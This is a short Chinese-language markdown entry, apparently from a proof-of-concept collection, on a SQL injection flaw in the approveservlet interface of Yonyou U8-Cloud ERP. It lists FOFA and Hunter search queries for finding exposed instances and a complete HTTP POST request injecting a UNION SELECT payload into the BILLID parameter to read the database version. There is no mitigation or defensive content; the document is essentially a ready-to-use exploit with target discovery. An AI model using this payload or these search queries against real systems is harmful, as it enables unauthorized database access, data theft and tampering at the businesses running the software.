用友U8-Cloud系统接口approveservlet存在SQL注入漏洞.md

用友U8-Cloud系统接口approveservlet存在SQL注入漏洞

用友U8-Cloud系统接口approveservlet存在SQL注入漏洞，允许攻击者通过恶意构造的SQL语句操控数据库，从而导致数据泄露、篡改或破坏，严重威胁系统安全。

fofa

title=="U8C"

hunter

app.name="用友 U8 Cloud"

poc

POST /service/approveservlet HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close

BILLID=1'%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,@@VERSION,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20WPWZ&BILLTYPE=4331&USERID=3&RESULT=4&DATASOURCE=U8cloud